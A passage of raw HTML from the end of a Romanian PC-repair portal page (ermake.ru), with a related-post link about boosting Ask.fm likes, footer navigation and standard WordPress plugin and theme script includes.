href="https://ermake.ru/ro/raskrutka-aska-besplatnaya-nakrutka-laikov-v-servise-ask-fm-kak/"><img style="width: 30%; border-radius: 0;" src="/uploads/ef662912cb10f5d1986cfe9f8c1aa116.jpg" loading=lazy loading=lazy></a></div> <div style="width:65%; top: 0px;" class="rfpw-dropdown-text"> <a href="https://ermake.ru/ro/raskrutka-aska-besplatnaya-nakrutka-laikov-v-servise-ask-fm-kak/">Creștere gratuită de aprecieri în serviciul Ask</a> <div class="rfpw-date-time"></div> </div> <div style="border:1px solid black;" class="rfpw-dropdown-excerpt">Promovarea Ask fm are loc acum din ce în ce mai mult. Acest lucru este cauzat de dorința tinerilor de a comunica și...</div> </li> </ul></section> </div> <div class="sidebar"> <section class="widget"> <div class="textwidget"> </div> </section> <section class="widget"> <div class="textwidget"> </div> </section> </div> </div> <div id="copy"> <div class="container"> <div id="logo" class="fl"> <a href="https://ermake.ru/ro/"></a> </div> <nav id="nav" class="fl"> <div class="menu-footer-container"><ul id="menu-footer" class="footer-nav"> <li class="menu-item type-custom object-custom "><a href="">Informații despre site</a></li> <li class="menu-item type-custom object-custom "><a href="https://ermake.ru/ro/feedback/">Feedback</a></li> <li class="menu-item type-post_type object-page "><a href="https://ermake.ru/ro/sitemap.xml">Harta site-ului</a></li> </ul></div> </nav> <div class="clearfix"></div> <p>© 2024 ermake.ru -- Despre repararea PC-ului - Portal de informații <span class="counters"> </span> </p> </div> </div> <script type='text/javascript' src='https://ermake.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.9'></script> <script type='text/javascript'> /* <![CDATA[ */ var tocplus = { "visibility_show":"\u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c","visibility_hide":"\u0441\u043a\u0440\u044b\u0442\u044c","width":"100%"} ; /* ]]> */ </script> <script type='text/javascript' src='https://ermake.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=1509'></script> <script type='text/javascript' src='https://ermake.ru/wp-content/themes/whattech/js/init.js?ver=4.8.4'></script> <script type='text/javascript' src='https://ermake.ru/wp-content/themes/whattech/js/jquery.flexslider.js?ver=4.8.4'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.8.4'></script> </body> </html>